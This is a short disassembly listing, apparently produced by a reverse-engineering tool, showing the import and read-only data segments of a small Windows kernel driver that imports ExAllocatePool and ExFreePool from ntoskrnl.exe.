.idata:00012000 ; Segment type: Externs .idata:00012000 ; _idata .idata:00012000 ; void __stdcall __imp_ExFreePool(PVOID P) .idata:00012000 extrn __imp_ExFreePool:dword ; DATA XREF: ExFreePoolr .idata:00012004 ; PVOID __stdcall _imp_ExAllocatePool(POOL_TYPE PoolType,SIZE_T NumberOfBytes) .idata:00012004 extrn __imp_ExAllocatePool:dword .idata:00012004 ; DATA XREF: ExAllocatePoolr .idata:00012008 .idata:00012008 .rdata:0001200C ; ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ .rdata:0001200C .rdata:0001200C ; Segment type: Pure data .rdata:0001200C ; Segment permissions: Read .rdata:0001200C _rdata segment para public 'DATA' use32 .rdata:0001200C assume cs:_rdata .rdata:0001200C ;org 1200Ch .rdata:0001200C db 34h, 20h, 0Ah dup(0), 60h, 20h, 3 dup(0), 20h, 16h dup(0) .rdata:0001200C db 52h, 20h, 2 dup(0), 40h, 20h, 6 dup(0), 33h, 0 .rdata:00012042 aExallocatepool db 'ExAllocatePool',0 .rdata:00012051 db 0 ; .rdata:00012052 db 42h ; B .rdata:00012053 db 0 ; .rdata:00012054 aExfreepool db 'ExFreePool',0 .rdata:0001205F db 0 ; .rdata:00012060 aNtoskrnl_exe db 'ntoskrnl.exe',0 .rdata:0001206D db 193h dup(0) .rdata:0001206D _rdata ends .rdata:0001206D .rdata:0001206D .rdata:0001206D end start